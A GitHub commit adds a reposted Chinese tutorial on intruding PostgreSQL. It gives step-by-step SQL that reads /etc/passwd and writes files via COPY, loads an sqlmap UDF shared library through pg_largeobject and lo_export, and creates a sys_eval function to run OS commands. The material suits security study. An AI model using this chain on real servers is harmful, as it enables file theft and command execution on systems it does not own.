Skip to content

Commit 4d17a71

Browse files
committed
new doc
1 parent 4aba4bc commit 4d17a71

11 files changed

+217
-0
lines changed

201802/20180201_03.md

Lines changed: 215 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,215 @@
1+
## [] 关于入侵PostgreSQL的那些事儿(文件读取写入、命令执行的办法)
2+
3+
### 作者
4+
digoal
5+
6+
### 日期
7+
2018-02-01
8+
9+
### 标签
10+
PostgreSQL , 入侵 , 注入 , 文件修改 , 文件读取 , 文件写入 , 大对象 , so , 二进制 , C函数
11+
12+
----
13+
14+
## 背景
15+
## 原文
16+
https://www.2cto.com/article/201307/226572.html
17+
18+
今天无意发现了个PostgreSQL环境,线上学习了下,一般的数据注射(读写数据库)差异不大,不做讨论,个人比较关心PostgreSQL的文件读取和命令执行方面。
19+
20+
21+
### 1,文件读取/写入
22+
23+
PostgreSQL 8.1 以后提供了一组现成的文件操作函数 pg_logdir_ls()、pg_ls_dir()、pg_file_rename()、pg_file_write()、 pg_read_file()、pg_length_file(),用这些就可以胡作非为了?你错了。。。
24+
25+
可以用这个函数直接读取/etc/passwd?实际情况下测试并未成功,因为pg_xxx这个adminpack将权限限制在了./postgresql/data下面。
26+
27+
a)比如列目录
28+
29+
![pic](20180201_03_pic_001.jpg)
30+
31+
b)读取权限允许的文件
32+
33+
![pic](20180201_03_pic_002.jpg)
34+
35+
还有个写文件函数测试并未成功,而且只能像data下写也是满足不了需求的。
36+
37+
c)比较可行的文件读取方案
38+
39+
```
40+
drop table wooyun;
41+
CREATE TABLE wooyun(t TEXT);
42+
COPY wooyun FROM '/etc/passwd';
43+
SELECT * FROM wooyun limit 1 offset 0;
44+
```
45+
46+
![pic](20180201_03_pic_003.jpg)
47+
48+
![pic](20180201_03_pic_004.jpg)
49+
50+
利用注射修改偏移值很快就可以遍历出来了,但是还是有点寒碜,直接读出全部数据
51+
52+
```
53+
DROP TABLE wooyun;
54+
CREATE TABLE wooyun (t TEXT);
55+
COPY wooyun(t) FROM '/etc/passwd';
56+
SELECT * FROM wooyun;
57+
```
58+
59+
![pic](20180201_03_pic_005.jpg)
60+
61+
d)写入文件
62+
63+
```
64+
DROP TABLE wooyun;
65+
CREATE TABLE wooyun (t TEXT);
66+
INSERT INTO wooyun(t) VALUES ('hello wooyun');
67+
COPY wooyun(t) TO '/tmp/wooyun';
68+
```
69+
70+
![pic](20180201_03_pic_006.jpg)
71+
72+
读一下看看是否存在
73+
74+
![pic](20180201_03_pic_007.jpg)
75+
76+
Bingo~
77+
78+
### 2,命令执行
79+
80+
这里大概有三种方式
81+
82+
a)利用 libc 中的 system() 函数
83+
84+
很多文章会让我们添加一个到libc库的自定义功能函数
85+
86+
```
87+
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
88+
```
89+
90+
但是返回错误
91+
92+
```
93+
Error : ERROR: incompatible library "/lib64/libc.so.6": missing magic block
94+
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
95+
```
96+
97+
这是因为当PostgreSQL加载外部动态库的时候,会检查MAGIC DATA,如果没有这个函数(Pg_magic_func),PostgreSQL认为这个动态库不是PostgreSQL可以使用的动态库。具体逻辑请看 src/backend/utils/fmgr/dfmgr.c 中定义的 internal_load_library 函数源代码。
98+
99+
这样一来系统自带的可利用的库默认我不再允许动态加载,所以此路不通(也许低版本走的通,但我手里这个不行)。
100+
101+
给一个 pg_magic_func 代码样例:
102+
103+
```
104+
extern PGDLLEXPORT const Pg_magic_struct * Pg_magic_func(void);
105+
const Pg_magic_struct *
106+
pg_magic_func(void)
107+
{
108+
static const Pg_magic_struct Pg_magic_data = PG_MODULE_MAGIC_DATA;
109+
return &Pg_magic_data;
110+
}
111+
```
112+
113+
b)利用Perl/Python脚本语言功能
114+
115+
在zone上看过一帖,http://zone.wooyun.org/content/1591,很纳闷为什么这样定义函数就可以执行系统命令,plperlu又是啥,经过资料的挖掘,发现是PostgreSQL自带的一种程序语言支持。
116+
117+
具体可见这里(http://www.postgresql.org/docs/8.3/static/xplang.html)。
118+
119+
大概意思就是PostgreSQL允许用除了SQL和C的其他语言来编写函数,但这个很悲剧啊,我的环境没有安装PostgreSQL的Python和Perl支持,待我弄个环境在来实现下过程。
120+
121+
c)利用C语言自定义函数
122+
123+
Perl、Python都能在PostgreSQL自定义了更不用说C了。这个在sqlmap的udf目录下有现成的,而且还是根据版本加了Pg_magic_func函数的,可以加载。。。牛鞭!
124+
125+
```
126+
FengGou:8.4 $ pwd
127+
/Users/FengGou/sqlmap/udf/postgresql/linux/64/8.4
128+
FengGou:8.4 $ ls
129+
lib_postgresqludf_sys.so
130+
```
131+
132+
将sqlmap的so文件转为16进制的代码,7F454C4602010100000000000000000003003E0001000000C00C0000000000004000000000000000A0170000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000008413000000000000841300000000000000002000000000000100000006000000881300000000000088132000000000008813200000000000A802000000000000B00200000000000000002000000000000200000006000000B013000000000000B013200000000000B01... ...
133+
134+
老他么长的一段,怎么还原成二进制的so库文件呢?这里感谢 @瞌睡龙 提供的Tips,这里用到了PostgreSQL的pg_largeobject“大对象数据”,官方原文:pg_largeobject 表保存那些标记着"大对象"的数据。 一个大对象是使用其创建时分配的 OID 标识的。 每个大对象都分解成足够小的小段或者"页面"以便以行的形式存储在 pg_largeobject 里。 每页的数据定义为LOBLKSIZE(目前是BLCKSZ/4,或者通常是 2K 字节)。
135+
136+
a)查看PostgreSQL目录
137+
138+
```
139+
SELECT setting FROM pg_settings WHERE name='data_directory';
140+
```
141+
142+
b)查询oid
143+
144+
```
145+
select lo_creat(-1);
146+
```
147+
148+
oid为当前对象大数据的标识符,我们要利用这个存储UDF文件内容。
149+
150+
c)oid与上面保持一致
151+
152+
```
153+
delete from pg_largeobject where loid=18412;
154+
```
155+
156+
等于变相清空"页面",不要干扰库的生成
157+
158+
d)把16进制的so文件塞进去
159+
160+
```
161+
insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode('7F454CXXXXXXXXX000', 'hex'));
162+
```
163+
164+
e)利用PostgreSQL自带函数将大型对象导出到文件
165+
166+
```
167+
SELECT lo_export(18412, 'cmd.so');
168+
```
169+
170+
f)建立UDF
171+
172+
```
173+
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
174+
```
175+
176+
g)调用这个UDF
177+
178+
```
179+
select sys_eval('id');
180+
```
181+
182+
![pic](20180201_03_pic_008.jpg)
183+
184+
185+
也许服务器没装PostgreSQL的Perl、Python支持,但是C库是通用的。
186+
187+
188+
189+
## 参考
190+
[1]PostgreSQL SQL Injection Cheat Sheet
191+
192+
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
193+
194+
[2]OWASP Backend Security Project Testing PostgreSQL
195+
196+
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
197+
198+
[3]PostGreSQL注入学习(续篇):http://www.2cto.com/Article/200910/41874.html
199+
200+
[4]PostgreSQL Adminpack
201+
202+
http://www.postgresql.org/docs/8.4/static/adminpack.html
203+
204+
[5]PostgreSQL 外部动态连接库魔法块的使用:http://www.2cto.com/database/201307/226575.html
205+
206+
[6]Chapter 37. Procedural Languages
207+
208+
http://www.postgresql.org/docs/8.3/static/xplang.html
209+
210+
[7]postgresql "初级"注入大法:http://www.2cto.com/Article/201211/167435.html
211+
212+
[8]pg_largeobject
213+
214+
http://www.php100.com/manual/PostgreSQL8/catalog-pg-largeobject.html
215+

201802/20180201_03_pic_001.jpg

37 KB
Loading

201802/20180201_03_pic_002.jpg

44.7 KB
Loading

201802/20180201_03_pic_003.jpg

32.7 KB
Loading

201802/20180201_03_pic_004.JPG

29.3 KB
Loading

201802/20180201_03_pic_005.jpg

44.5 KB
Loading

201802/20180201_03_pic_006.jpg

38.7 KB
Loading

201802/20180201_03_pic_007.jpg

31.2 KB
Loading

201802/20180201_03_pic_008.jpg

27.8 KB
Loading

201802/readme.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
### 文章列表
22
----
3+
##### 20180201_03.md [[] 关于入侵PostgreSQL的那些事儿(文件读取写入、命令执行的办法)》](20180201_03.md)
34
##### 20180201_02.md [《PostgreSQL dblink异步调用实现 并行hash分片JOIN - 含数据交、并、差 提速案例》](20180201_02.md)
45
##### 20180201_01.md [《PostgreSQL 11 preview - parallel hash join(并行哈希JOIN) 性能极大提升》](20180201_01.md)

0 commit comments

Comments
 (0)